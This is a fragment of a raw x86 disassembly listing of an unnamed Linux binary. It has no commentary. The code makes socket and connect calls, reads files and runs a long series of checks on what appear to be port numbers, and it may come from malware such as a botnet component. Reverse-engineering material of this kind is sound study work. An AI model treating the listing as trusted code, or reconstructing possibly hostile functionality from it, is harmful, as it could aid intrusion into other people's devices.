804a051: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a058: 50 push %eax | |
804a059: e8 c2 1b 00 00 call 0x804bc20 | |
804a05e: 58 pop %eax | |
804a05f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a066: 52 push %edx | |
804a067: e8 94 1b 00 00 call 0x804bc00 | |
804a06c: 59 pop %ecx | |
804a06d: 5b pop %ebx | |
804a06e: 57 push %edi | |
804a06f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a076: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a079: 50 push %eax | |
804a07a: e8 a1 1b 00 00 call 0x804bc20 | |
804a07f: 58 pop %eax | |
804a080: 5a pop %edx | |
804a081: 6a 00 push $0x0 | |
804a083: 6a 0f push $0xf | |
804a085: e8 f6 14 00 00 call 0x804b580 | |
804a08a: 89 c3 mov %eax,%ebx | |
804a08c: 58 pop %eax | |
804a08d: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a094: 50 push %eax | |
804a095: e8 66 1b 00 00 call 0x804bc00 | |
804a09a: 5a pop %edx | |
804a09b: 59 pop %ecx | |
804a09c: 53 push %ebx | |
804a09d: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a0a4: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a0a7: 50 push %eax | |
804a0a8: e8 73 1b 00 00 call 0x804bc20 | |
804a0ad: 5b pop %ebx | |
804a0ae: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a0b5: 50 push %eax | |
804a0b6: e8 45 1b 00 00 call 0x804bc00 | |
804a0bb: 5a pop %edx | |
804a0bc: 59 pop %ecx | |
804a0bd: 68 80 e8 04 08 push $0x804e880 | |
804a0c2: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a0c9: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a0cc: 50 push %eax | |
804a0cd: e8 4e 1b 00 00 call 0x804bc20 | |
804a0d2: 5b pop %ebx | |
804a0d3: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a0da: 50 push %eax | |
804a0db: e8 20 1b 00 00 call 0x804bc00 | |
804a0e0: 5a pop %edx | |
804a0e1: 8d 56 0b lea 0xb(%esi),%edx | |
804a0e4: 59 pop %ecx | |
804a0e5: 52 push %edx | |
804a0e6: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a0ed: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a0f0: 50 push %eax | |
804a0f1: e8 2a 1b 00 00 call 0x804bc20 | |
804a0f6: 83 c4 0c add $0xc,%esp | |
804a0f9: 68 00 10 00 00 push $0x1000 | |
804a0fe: 8d 44 24 23 lea 0x23(%esp),%eax | |
804a102: 50 push %eax | |
804a103: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a10a: 52 push %edx | |
804a10b: e8 94 21 00 00 call 0x804c2a4 | |
804a110: 83 c4 10 add $0x10,%esp | |
804a113: 40 inc %eax | |
804a114: 0f 84 f6 fe ff ff je 0x804a010 | |
804a11a: 83 ec 0c sub $0xc,%esp | |
804a11d: 8d 44 24 27 lea 0x27(%esp),%eax | |
804a121: 50 push %eax | |
804a122: e8 d9 1a 00 00 call 0x804bc00 | |
804a127: 83 c4 0c add $0xc,%esp | |
804a12a: 8d 94 24 30 22 00 00 lea 0x2230(%esp),%edx | |
804a131: 52 push %edx | |
804a132: 50 push %eax | |
804a133: 8d 44 24 27 lea 0x27(%esp),%eax | |
804a137: 50 push %eax | |
804a138: e8 63 1d 00 00 call 0x804bea0 | |
804a13d: 83 c4 10 add $0x10,%esp | |
804a140: 40 inc %eax | |
804a141: 0f 84 c9 fe ff ff je 0x804a010 | |
804a147: 53 push %ebx | |
804a148: 53 push %ebx | |
804a149: 6a 0a push $0xa | |
804a14b: 57 push %edi | |
804a14c: e8 5f 1b 00 00 call 0x804bcb0 | |
804a151: 5a pop %edx | |
804a152: 59 pop %ecx | |
804a153: 6a 09 push $0x9 | |
804a155: 50 push %eax | |
804a156: e8 57 20 00 00 call 0x804c1b2 | |
804a15b: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp) | |
804a162: 00 | |
804a163: 83 c4 10 add $0x10,%esp | |
804a166: e9 a5 fe ff ff jmp 0x804a010 | |
804a16b: 90 nop | |
804a16c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804a170: 46 inc %esi | |
804a171: 83 fe 01 cmp $0x1,%esi | |
804a174: 0f 85 9c fc ff ff jne 0x8049e16 | |
804a17a: 80 7a 03 41 cmpb $0x41,0x3(%edx) | |
804a17e: 74 5e je 0x804a1de | |
804a180: 42 inc %edx | |
804a181: 31 db xor %ebx,%ebx | |
804a183: e9 6e fc ff ff jmp 0x8049df6 | |
804a188: b3 01 mov $0x1,%bl | |
804a18a: e9 89 fc ff ff jmp 0x8049e18 | |
804a18f: 90 nop | |
804a190: 31 d2 xor %edx,%edx | |
804a192: e9 ed fb ff ff jmp 0x8049d84 | |
804a197: 89 ce mov %ecx,%esi | |
804a199: e9 19 fc ff ff jmp 0x8049db7 | |
804a19e: 83 ec 0c sub $0xc,%esp | |
804a1a1: 31 db xor %ebx,%ebx | |
804a1a3: 6a 0d push $0xd | |
804a1a5: e8 06 14 00 00 call 0x804b5b0 | |
804a1aa: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a1b1: e8 fa 13 00 00 call 0x804b5b0 | |
804a1b6: c7 04 24 0f 00 00 00 movl $0xf,(%esp) | |
804a1bd: e8 ee 13 00 00 call 0x804b5b0 | |
804a1c2: c7 04 24 11 00 00 00 movl $0x11,(%esp) | |
804a1c9: e8 e2 13 00 00 call 0x804b5b0 | |
804a1ce: 83 c4 10 add $0x10,%esp | |
804a1d1: 81 c4 3c 22 00 00 add $0x223c,%esp | |
804a1d7: 89 d8 mov %ebx,%eax | |
804a1d9: 5b pop %ebx | |
804a1da: 5e pop %esi | |
804a1db: 5f pop %edi | |
804a1dc: 5d pop %ebp | |
804a1dd: c3 ret | |
804a1de: c6 44 24 0b 01 movb $0x1,0xb(%esp) | |
804a1e3: eb 9b jmp 0x804a180 | |
804a1e5: 83 ec 0c sub $0xc,%esp | |
804a1e8: 8b 54 24 0c mov 0xc(%esp),%edx | |
804a1ec: 52 push %edx | |
804a1ed: e8 df 21 00 00 call 0x804c3d1 | |
804a1f2: 0f be 5c 24 14 movsbl 0x14(%esp),%ebx | |
804a1f7: 83 c4 10 add $0x10,%esp | |
804a1fa: 83 ec 0c sub $0xc,%esp | |
804a1fd: 6a 01 push $0x1 | |
804a1ff: e8 88 38 00 00 call 0x804da8c | |
804a204: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a20b: e8 a0 13 00 00 call 0x804b5b0 | |
804a210: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a217: e8 94 13 00 00 call 0x804b5b0 | |
804a21c: c7 04 24 0f 00 00 00 movl $0xf,(%esp) | |
804a223: e8 88 13 00 00 call 0x804b5b0 | |
804a228: 83 c4 10 add $0x10,%esp | |
804a22b: 89 d8 mov %ebx,%eax | |
804a22d: 81 c4 3c 22 00 00 add $0x223c,%esp | |
804a233: 5b pop %ebx | |
804a234: 5e pop %esi | |
804a235: 5f pop %edi | |
804a236: 5d pop %ebp | |
804a237: c3 ret | |
804a238: 8a 84 24 1c 22 00 00 mov 0x221c(%esp),%al | |
804a23f: c6 84 24 20 22 00 00 movb $0x0,0x2220(%esp) | |
804a246: 00 | |
804a247: 88 84 24 1e 22 00 00 mov %al,0x221e(%esp) | |
804a24e: 8a 84 24 1d 22 00 00 mov 0x221d(%esp),%al | |
804a255: 88 84 24 1f 22 00 00 mov %al,0x221f(%esp) | |
804a25c: c6 84 24 1c 22 00 00 movb $0x30,0x221c(%esp) | |
804a263: 30 | |
804a264: c6 84 24 1d 22 00 00 movb $0x30,0x221d(%esp) | |
804a26b: 30 | |
804a26c: e9 83 fa ff ff jmp 0x8049cf4 | |
804a271: 83 ec 0c sub $0xc,%esp | |
804a274: 55 push %ebp | |
804a275: e8 57 21 00 00 call 0x804c3d1 | |
804a27a: 83 c4 10 add $0x10,%esp | |
804a27d: e9 4a fc ff ff jmp 0x8049ecc | |
804a282: 90 nop | |
804a283: 90 nop | |
804a284: 90 nop | |
804a285: 90 nop | |
804a286: 90 nop | |
804a287: 90 nop | |
804a288: 90 nop | |
804a289: 90 nop | |
804a28a: 90 nop | |
804a28b: 90 nop | |
804a28c: 90 nop | |
804a28d: 90 nop | |
804a28e: 90 nop | |
804a28f: 90 nop | |
804a290: 55 push %ebp | |
804a291: 57 push %edi | |
804a292: 56 push %esi | |
804a293: 53 push %ebx | |
804a294: 81 ec 18 21 00 00 sub $0x2118,%esp | |
804a29a: 6a 00 push $0x0 | |
804a29c: e8 9e 20 00 00 call 0x804c33f | |
804a2a1: 89 c6 mov %eax,%esi | |
804a2a3: e8 59 1e 00 00 call 0x804c101 | |
804a2a8: 83 c4 10 add $0x10,%esp | |
804a2ab: a3 10 f1 04 08 mov %eax,0x804f110 | |
804a2b0: 85 c0 test %eax,%eax | |
804a2b2: 7e 0b jle 0x804a2bf | |
804a2b4: 81 c4 0c 21 00 00 add $0x210c,%esp | |
804a2ba: 5b pop %ebx | |
804a2bb: 5e pop %esi | |
804a2bc: 5f pop %edi | |
804a2bd: 5d pop %ebp | |
804a2be: c3 ret | |
804a2bf: 40 inc %eax | |
804a2c0: 74 f2 je 0x804a2b4 | |
804a2c2: 83 ec 0c sub $0xc,%esp | |
804a2c5: 6a 05 push $0x5 | |
804a2c7: e8 c0 37 00 00 call 0x804da8c | |
804a2cc: c7 04 24 00 10 00 00 movl $0x1000,(%esp) | |
804a2d3: e8 98 25 00 00 call 0x804c870 | |
804a2d8: a3 0c f1 04 08 mov %eax,0x804f10c | |
804a2dd: c6 00 00 movb $0x0,(%eax) | |
804a2e0: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a2e7: c7 05 c4 f0 04 08 00 movl $0x0,0x804f0c4 | |
804a2ee: 00 00 00 | |
804a2f1: e8 3a 13 00 00 call 0x804b630 | |
804a2f6: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a2fd: e8 2e 13 00 00 call 0x804b630 | |
804a302: 5d pop %ebp | |
804a303: 58 pop %eax | |
804a304: 6a 00 push $0x0 | |
804a306: 6a 0d push $0xd | |
804a308: e8 73 12 00 00 call 0x804b580 | |
804a30d: 5b pop %ebx | |
804a30e: 5f pop %edi | |
804a30f: 50 push %eax | |
804a310: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a317: 89 44 24 1c mov %eax,0x1c(%esp) | |
804a31b: 50 push %eax | |
804a31c: e8 ff 18 00 00 call 0x804bc20 | |
804a321: 8d 9c 24 44 10 00 00 lea 0x1044(%esp),%ebx | |
804a328: 01 c3 add %eax,%ebx | |
804a32a: e8 f8 1d 00 00 call 0x804c127 | |
804a32f: 83 c4 0c add $0xc,%esp | |
804a332: 8d 94 24 b8 20 00 00 lea 0x20b8(%esp),%edx | |
804a339: 52 push %edx | |
804a33a: 6a 0a push $0xa | |
804a33c: 50 push %eax | |
804a33d: e8 2e 1c 00 00 call 0x804bf70 | |
804a342: 5a pop %edx | |
804a343: 59 pop %ecx | |
804a344: 50 push %eax | |
804a345: 53 push %ebx | |
804a346: e8 d5 18 00 00 call 0x804bc20 | |
804a34b: 5d pop %ebp | |
804a34c: 01 c3 add %eax,%ebx | |
804a34e: 58 pop %eax | |
804a34f: 6a 00 push $0x0 | |
804a351: 6a 0e push $0xe | |
804a353: e8 28 12 00 00 call 0x804b580 | |
804a358: 59 pop %ecx | |
804a359: 5f pop %edi | |
804a35a: 50 push %eax | |
804a35b: 53 push %ebx | |
804a35c: e8 bf 18 00 00 call 0x804bc20 | |
804a361: 89 c7 mov %eax,%edi | |
804a363: 58 pop %eax | |
804a364: 5a pop %edx | |
804a365: 6a 00 push $0x0 | |
804a367: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a36e: 50 push %eax | |
804a36f: e8 70 1e 00 00 call 0x804c1e4 | |
804a374: 83 c4 10 add $0x10,%esp | |
804a377: 83 f8 ff cmp $0xffffffff,%eax | |
804a37a: 0f 84 34 ff ff ff je 0x804a2b4 | |
804a380: 83 ec 0c sub $0xc,%esp | |
804a383: 50 push %eax | |
804a384: e8 4a 1d 00 00 call 0x804c0d3 | |
804a389: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a390: e8 1b 12 00 00 call 0x804b5b0 | |
804a395: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a39c: e8 0f 12 00 00 call 0x804b5b0 | |
804a3a1: 83 c4 0c add $0xc,%esp | |
804a3a4: a1 0c f1 04 08 mov 0x804f10c,%eax | |
804a3a9: 68 ff 0f 00 00 push $0xfff | |
804a3ae: 50 push %eax | |
804a3af: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a3b6: 50 push %eax | |
804a3b7: e8 e8 1e 00 00 call 0x804c2a4 | |
804a3bc: 83 c4 10 add $0x10,%esp | |
804a3bf: 89 c2 mov %eax,%edx | |
804a3c1: 83 f8 ff cmp $0xffffffff,%eax | |
804a3c4: 74 09 je 0x804a3cf | |
804a3c6: a1 0c f1 04 08 mov 0x804f10c,%eax | |
804a3cb: c6 04 10 00 movb $0x0,(%eax,%edx,1) | |
804a3cf: 50 push %eax | |
804a3d0: 50 push %eax | |
804a3d1: 8b 6c 24 18 mov 0x18(%esp),%ebp | |
804a3d5: 8d 04 3b lea (%ebx,%edi,1),%eax | |
804a3d8: 29 e8 sub %ebp,%eax | |
804a3da: bd 90 01 00 00 mov $0x190,%ebp | |
804a3df: 50 push %eax | |
804a3e0: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi | |
804a3e7: 57 push %edi | |
804a3e8: e8 a3 18 00 00 call 0x804bc90 | |
804a3ed: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp) | |
804a3f4: 00 | |
804a3f5: 83 c4 10 add $0x10,%esp | |
804a3f8: 83 ec 0c sub $0xc,%esp | |
804a3fb: 6a 0d push $0xd | |
804a3fd: e8 2e 12 00 00 call 0x804b630 | |
804a402: 5b pop %ebx | |
804a403: 5f pop %edi | |
804a404: 6a 00 push $0x0 | |
804a406: 6a 0d push $0xd | |
804a408: e8 73 11 00 00 call 0x804b580 | |
804a40d: 89 04 24 mov %eax,(%esp) | |
804a410: e8 2c 20 00 00 call 0x804c441 | |
804a415: 89 44 24 2c mov %eax,0x2c(%esp) | |
804a419: 83 c4 10 add $0x10,%esp | |
804a41c: 85 c0 test %eax,%eax | |
804a41e: 0f 84 90 fe ff ff je 0x804a2b4 | |
804a424: 83 ec 0c sub $0xc,%esp | |
804a427: 6a 0d push $0xd | |
804a429: e8 82 11 00 00 call 0x804b5b0 | |
804a42e: c7 04 24 bb e5 00 00 movl $0xe5bb,(%esp) | |
804a435: e8 06 f8 ff ff call 0x8049c40 | |
804a43a: c7 04 24 07 c7 00 00 movl $0xc707,(%esp) | |
804a441: e8 fa f7 ff ff call 0x8049c40 | |
804a446: c7 04 24 05 3a 00 00 movl $0x3a05,(%esp) | |
804a44d: e8 ee f7 ff ff call 0x8049c40 | |
804a452: c7 04 24 05 39 00 00 movl $0x3905,(%esp) | |
804a459: e8 e2 f7 ff ff call 0x8049c40 | |
804a45e: c7 04 24 01 a4 00 00 movl $0xa401,(%esp) | |
804a465: e8 d6 f7 ff ff call 0x8049c40 | |
804a46a: c7 04 24 00 e8 00 00 movl $0xe800,(%esp) | |
804a471: e8 ca f7 ff ff call 0x8049c40 | |
804a476: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp) | |
804a47d: e8 be f7 ff ff call 0x8049c40 | |
804a482: c7 04 24 06 8c 00 00 movl $0x8c06,(%esp) | |
804a489: e8 b2 f7 ff ff call 0x8049c40 | |
804a48e: c7 04 24 01 bb 00 00 movl $0xbb01,(%esp) | |
804a495: e8 a6 f7 ff ff call 0x8049c40 | |
804a49a: c7 04 24 10 e1 00 00 movl $0xe110,(%esp) | |
804a4a1: e8 9a f7 ff ff call 0x8049c40 | |
804a4a6: c7 04 24 1a 0b 00 00 movl $0xb1a,(%esp) | |
804a4ad: e8 8e f7 ff ff call 0x8049c40 | |
804a4b2: c7 04 24 1a 29 00 00 movl $0x291a,(%esp) | |
804a4b9: e8 82 f7 ff ff call 0x8049c40 | |
804a4be: c7 04 24 03 e7 00 00 movl $0xe703,(%esp) | |
804a4c5: e8 76 f7 ff ff call 0x8049c40 | |
804a4ca: c7 04 24 00 45 00 00 movl $0x4500,(%esp) | |
804a4d1: e8 6a f7 ff ff call 0x8049c40 | |
804a4d6: c7 04 24 00 15 00 00 movl $0x1500,(%esp) | |
804a4dd: e8 5e f7 ff ff call 0x8049c40 | |
804a4e2: c7 04 24 00 14 00 00 movl $0x1400,(%esp) | |
804a4e9: e8 52 f7 ff ff call 0x8049c40 | |
804a4ee: c7 04 24 04 bc 00 00 movl $0xbc04,(%esp) | |
804a4f5: e8 46 f7 ff ff call 0x8049c40 | |
804a4fa: c7 04 24 02 2b 00 00 movl $0x2b02,(%esp) | |
804a501: e8 3a f7 ff ff call 0x8049c40 | |
804a506: c7 04 24 01 bc 00 00 movl $0xbc01,(%esp) | |
804a50d: e8 2e f7 ff ff call 0x8049c40 | |
804a512: c7 04 24 01 4d 00 00 movl $0x4d01,(%esp) | |
804a519: e8 22 f7 ff ff call 0x8049c40 | |
804a51e: c7 04 24 00 de 00 00 movl $0xde00,(%esp) | |
804a525: e8 16 f7 ff ff call 0x8049c40 | |
804a52a: c7 04 24 00 6f 00 00 movl $0x6f00,(%esp) | |
804a531: e8 0a f7 ff ff call 0x8049c40 | |
804a536: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp) | |
804a53d: e8 fe f6 ff ff call 0x8049c40 | |
804a542: c7 04 24 03 09 00 00 movl $0x903,(%esp) | |
804a549: e8 f2 f6 ff ff call 0x8049c40 | |
804a54e: c7 04 24 03 78 00 00 movl $0x7803,(%esp) | |
804a555: e8 e6 f6 ff ff call 0x8049c40 | |
804a55a: c7 04 24 03 e7 00 00 movl $0xe703,(%esp) | |
804a561: e8 da f6 ff ff call 0x8049c40 | |
804a566: c7 04 24 04 00 00 00 movl $0x4,(%esp) | |
804a56d: e8 ce f6 ff ff call 0x8049c40 | |
804a572: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804a579: e8 c2 f6 ff ff call 0x8049c40 | |
804a57e: c7 04 24 06 50 00 00 movl $0x5006,(%esp) | |
804a585: e8 b6 f6 ff ff call 0x8049c40 | |
804a58a: c7 04 24 10 f7 00 00 movl $0xf710,(%esp) | |
804a591: e8 aa f6 ff ff call 0x8049c40 | |
804a596: c7 04 24 00 0b 00 00 movl $0xb00,(%esp) | |
804a59d: e8 9e f6 ff ff call 0x8049c40 | |
804a5a2: c7 04 24 00 0a 00 00 movl $0xa00,(%esp) | |
804a5a9: e8 92 f6 ff ff call 0x8049c40 | |
804a5ae: 66 c7 84 24 e6 20 00 movw $0x1700,0x20e6(%esp) | |
804a5b5: 00 00 17 | |
804a5b8: 66 c7 84 24 d6 20 00 movw $0xa5d0,0x20d6(%esp) | |
804a5bf: 00 d0 a5 | |
804a5c2: 66 c7 84 24 f6 20 00 movw $0x5f91,0x20f6(%esp) | |
804a5c9: 00 91 5f | |
804a5cc: 66 c7 84 24 06 21 00 movw $0x85ce,0x2106(%esp) | |
804a5d3: 00 ce 85 | |
804a5d6: c7 04 24 00 17 00 00 movl $0x1700,(%esp) | |
804a5dd: e8 5e f6 ff ff call 0x8049c40 | |
804a5e2: 83 c4 10 add $0x10,%esp | |
804a5e5: 84 c0 test %al,%al | |
804a5e7: 0f 84 be 04 00 00 je 0x804aaab | |
804a5ed: 51 push %ecx | |
804a5ee: 6a 00 push $0x0 | |
804a5f0: 6a 01 push $0x1 | |
804a5f2: 6a 02 push $0x2 | |
804a5f4: e8 26 22 00 00 call 0x804c81f | |
804a5f9: 83 c4 10 add $0x10,%esp | |
804a5fc: 89 c3 mov %eax,%ebx | |
804a5fe: 83 f8 ff cmp $0xffffffff,%eax | |
804a601: 74 1e je 0x804a621 | |
804a603: 8d 84 24 d4 20 00 00 lea 0x20d4(%esp),%eax | |
804a60a: 52 push %edx | |
804a60b: 6a 10 push $0x10 | |
804a60d: 50 push %eax | |
804a60e: 53 push %ebx | |
804a60f: e8 48 20 00 00 call 0x804c65c | |
804a614: 5f pop %edi | |
804a615: 58 pop %eax | |
804a616: 6a 01 push $0x1 | |
804a618: 53 push %ebx | |
804a619: e8 fa 20 00 00 call 0x804c718 | |
804a61e: 83 c4 10 add $0x10,%esp | |
804a621: 51 push %ecx | |
804a622: 6a 00 push $0x0 | |
804a624: 6a 01 push $0x1 | |
804a626: 6a 02 push $0x2 | |
804a628: e8 f2 21 00 00 call 0x804c81f | |
804a62d: 83 c4 10 add $0x10,%esp | |
804a630: 89 c3 mov %eax,%ebx | |
804a632: 83 f8 ff cmp $0xffffffff,%eax | |
804a635: 74 1e je 0x804a655 | |
804a637: 8d 84 24 c4 20 00 00 lea 0x20c4(%esp),%eax | |
804a63e: 52 push %edx | |
804a63f: 6a 10 push $0x10 | |
804a641: 50 push %eax | |
804a642: 53 push %ebx | |
804a643: e8 14 20 00 00 call 0x804c65c | |
804a648: 5f pop %edi | |
804a649: 58 pop %eax | |
804a64a: 6a 01 push $0x1 | |
804a64c: 53 push %ebx | |
804a64d: e8 c6 20 00 00 call 0x804c718 | |
804a652: 83 c4 10 add $0x10,%esp | |
804a655: 51 push %ecx | |
804a656: 6a 00 push $0x0 | |
804a658: 6a 01 push $0x1 | |
804a65a: 6a 02 push $0x2 | |
804a65c: e8 be 21 00 00 call 0x804c81f | |
804a661: 83 c4 10 add $0x10,%esp | |
804a664: 89 c3 mov %eax,%ebx | |
804a666: 83 f8 ff cmp $0xffffffff,%eax | |
804a669: 74 1e je 0x804a689 | |
804a66b: 8d 84 24 f4 20 00 00 lea 0x20f4(%esp),%eax | |
804a672: 52 push %edx | |
804a673: 6a 10 push $0x10 | |
804a675: 50 push %eax | |
804a676: 53 push %ebx | |
804a677: e8 e0 1f 00 00 call 0x804c65c | |
804a67c: 5f pop %edi | |
804a67d: 58 pop %eax | |
804a67e: 6a 01 push $0x1 | |
804a680: 53 push %ebx | |
804a681: e8 92 20 00 00 call 0x804c718 | |
804a686: 83 c4 10 add $0x10,%esp | |
804a689: 51 push %ecx | |
804a68a: 6a 00 push $0x0 | |
804a68c: 6a 01 push $0x1 | |
804a68e: 6a 02 push $0x2 | |
804a690: e8 8a 21 00 00 call 0x804c81f | |
804a695: 83 c4 10 add $0x10,%esp | |
804a698: 89 c3 mov %eax,%ebx | |
804a69a: 83 f8 ff cmp $0xffffffff,%eax | |
804a69d: 74 21 je 0x804a6c0 | |
804a69f: 8d 84 24 e4 20 00 00 lea 0x20e4(%esp),%eax | |
804a6a6: 52 push %edx | |
804a6a7: 6a 10 push $0x10 | |
804a6a9: 50 push %eax | |
804a6aa: 53 push %ebx | |
804a6ab: e8 ac 1f 00 00 call 0x804c65c | |
804a6b0: 5f pop %edi | |
804a6b1: 58 pop %eax | |
804a6b2: 6a 01 push $0x1 | |
804a6b4: 53 push %ebx | |
804a6b5: e8 5e 20 00 00 call 0x804c718 | |
804a6ba: 83 c4 10 add $0x10,%esp | |
804a6bd: 8d 76 00 lea 0x0(%esi),%esi | |
804a6c0: 83 ec 0c sub $0xc,%esp | |
804a6c3: 8b 44 24 28 mov 0x28(%esp),%eax | |
804a6c7: 50 push %eax | |
804a6c8: e8 65 1e 00 00 call 0x804c532 | |
804a6cd: 83 c4 10 add $0x10,%esp | |
804a6d0: 89 c2 mov %eax,%edx | |
804a6d2: 85 c0 test %eax,%eax | |
804a6d4: 0f 84 e5 01 00 00 je 0x804a8bf | |
804a6da: 8a 42 0b mov 0xb(%edx),%al | |
804a6dd: 83 e8 30 sub $0x30,%eax | |
804a6e0: 3c 09 cmp $0x9,%al | |
804a6e2: 77 dc ja 0x804a6c0 | |
804a6e4: 83 ec 0c sub $0xc,%esp | |
804a6e7: 8d 7a 0b lea 0xb(%edx),%edi | |
804a6ea: 57 push %edi | |
804a6eb: e8 f2 31 00 00 call 0x804d8e2 | |
804a6f0: 83 c4 10 add $0x10,%esp | |
804a6f3: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
804a6f7: 89 44 24 20 mov %eax,0x20(%esp) | |
804a6fb: 41 inc %ecx | |
804a6fc: 39 c5 cmp %eax,%ebp | |
804a6fe: 89 4c 24 18 mov %ecx,0x18(%esp) | |
804a702: 7c 21 jl 0x804a725 | |
804a704: 83 ec 0c sub $0xc,%esp | |
804a707: 6a 00 push $0x0 | |
804a709: e8 31 1c 00 00 call 0x804c33f | |
804a70e: 29 f0 sub %esi,%eax | |
804a710: 83 c4 10 add $0x10,%esp | |
804a713: 3d 58 02 00 00 cmp $0x258,%eax | |
804a718: 0f 8e b6 01 00 00 jle 0x804a8d4 | |
804a71e: bd 90 01 00 00 mov $0x190,%ebp | |
804a723: eb 9b jmp 0x804a6c0 | |
804a725: 83 ec 0c sub $0xc,%esp | |
804a728: 6a 00 push $0x0 | |
804a72a: e8 10 1c 00 00 call 0x804c33f | |
804a72f: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a736: 89 44 24 24 mov %eax,0x24(%esp) | |
804a73a: e8 f1 0e 00 00 call 0x804b630 | |
804a73f: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a746: e8 e5 0e 00 00 call 0x804b630 | |
804a74b: 58 pop %eax | |
804a74c: 5a pop %edx | |
804a74d: 6a 00 push $0x0 | |
804a74f: 6a 0d push $0xd | |
804a751: e8 2a 0e 00 00 call 0x804b580 | |
804a756: 5e pop %esi | |
804a757: 5d pop %ebp | |
804a758: 50 push %eax | |
804a759: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax | |
804a760: 50 push %eax | |
804a761: e8 ba 14 00 00 call 0x804bc20 | |
804a766: 8d b4 24 44 20 00 00 lea 0x2044(%esp),%esi | |
804a76d: 59 pop %ecx | |
804a76e: 01 c6 add %eax,%esi | |
804a770: 5b pop %ebx | |
804a771: 57 push %edi | |
804a772: 56 push %esi | |
804a773: e8 a8 14 00 00 call 0x804bc20 | |
804a778: 89 c3 mov %eax,%ebx | |
804a77a: 58 pop %eax | |
804a77b: 5a pop %edx | |
804a77c: 6a 00 push $0x0 | |
804a77e: 6a 0e push $0xe | |
804a780: e8 fb 0d 00 00 call 0x804b580 | |
804a785: 59 pop %ecx | |
804a786: 5d pop %ebp | |
804a787: 50 push %eax | |
804a788: 8d 04 1e lea (%esi,%ebx,1),%eax | |
804a78b: 50 push %eax | |
804a78c: e8 8f 14 00 00 call 0x804bc20 | |
804a791: 58 pop %eax | |
804a792: 5a pop %edx | |
804a793: 6a 00 push $0x0 | |
804a795: 6a 0d push $0xd | |
804a797: e8 e4 0d 00 00 call 0x804b580 | |
804a79c: 5e pop %esi | |
804a79d: 5d pop %ebp | |
804a79e: 50 push %eax | |
804a79f: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax | |
804a7a6: 50 push %eax | |
804a7a7: e8 74 14 00 00 call 0x804bc20 | |
804a7ac: 8d b4 24 84 20 00 00 lea 0x2084(%esp),%esi | |
804a7b3: 59 pop %ecx | |
804a7b4: 01 c6 add %eax,%esi | |
804a7b6: 5b pop %ebx | |
804a7b7: 57 push %edi | |
804a7b8: 56 push %esi | |
804a7b9: e8 62 14 00 00 call 0x804bc20 | |
804a7be: 89 c3 mov %eax,%ebx | |
804a7c0: 58 pop %eax | |
804a7c1: 5a pop %edx | |
804a7c2: 6a 00 push $0x0 | |
804a7c4: 6a 1d push $0x1d | |
804a7c6: e8 b5 0d 00 00 call 0x804b580 | |
804a7cb: 5f pop %edi | |
804a7cc: 5d pop %ebp | |
804a7cd: 50 push %eax | |
804a7ce: 8d 04 1e lea (%esi,%ebx,1),%eax | |
804a7d1: 50 push %eax | |
804a7d2: e8 49 14 00 00 call 0x804bc20 | |
804a7d7: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a7de: e8 cd 0d 00 00 call 0x804b5b0 | |
804a7e3: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a7ea: e8 c1 0d 00 00 call 0x804b5b0 | |
804a7ef: 83 c4 0c add $0xc,%esp | |
804a7f2: 68 ff 0f 00 00 push $0xfff | |
804a7f7: 8d bc 24 3c 10 00 00 lea 0x103c(%esp),%edi | |
804a7fe: 57 push %edi | |
804a7ff: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax | |
804a806: 50 push %eax | |
804a807: e8 98 1a 00 00 call 0x804c2a4 | |
804a80c: 83 c4 10 add $0x10,%esp | |
804a80f: 89 c3 mov %eax,%ebx | |
804a811: 83 f8 ff cmp $0xffffffff,%eax | |
804a814: 0f 84 2f 01 00 00 je 0x804a949 | |
804a81a: c6 84 04 34 10 00 00 movb $0x0,0x1034(%esp,%eax,1) | |
804a821: 00 | |
804a822: 83 ec 0c sub $0xc,%esp | |
804a825: 6a 1e push $0x1e | |
804a827: e8 04 0e 00 00 call 0x804b630 | |
804a82c: 59 pop %ecx | |
804a82d: 5e pop %esi | |
804a82e: 6a 00 push $0x0 | |
804a830: 6a 1e push $0x1e | |
804a832: e8 49 0d 00 00 call 0x804b580 | |
804a837: 83 c4 0c add $0xc,%esp | |
804a83a: 50 push %eax | |
804a83b: 8d 43 ff lea -0x1(%ebx),%eax | |
804a83e: 50 push %eax | |
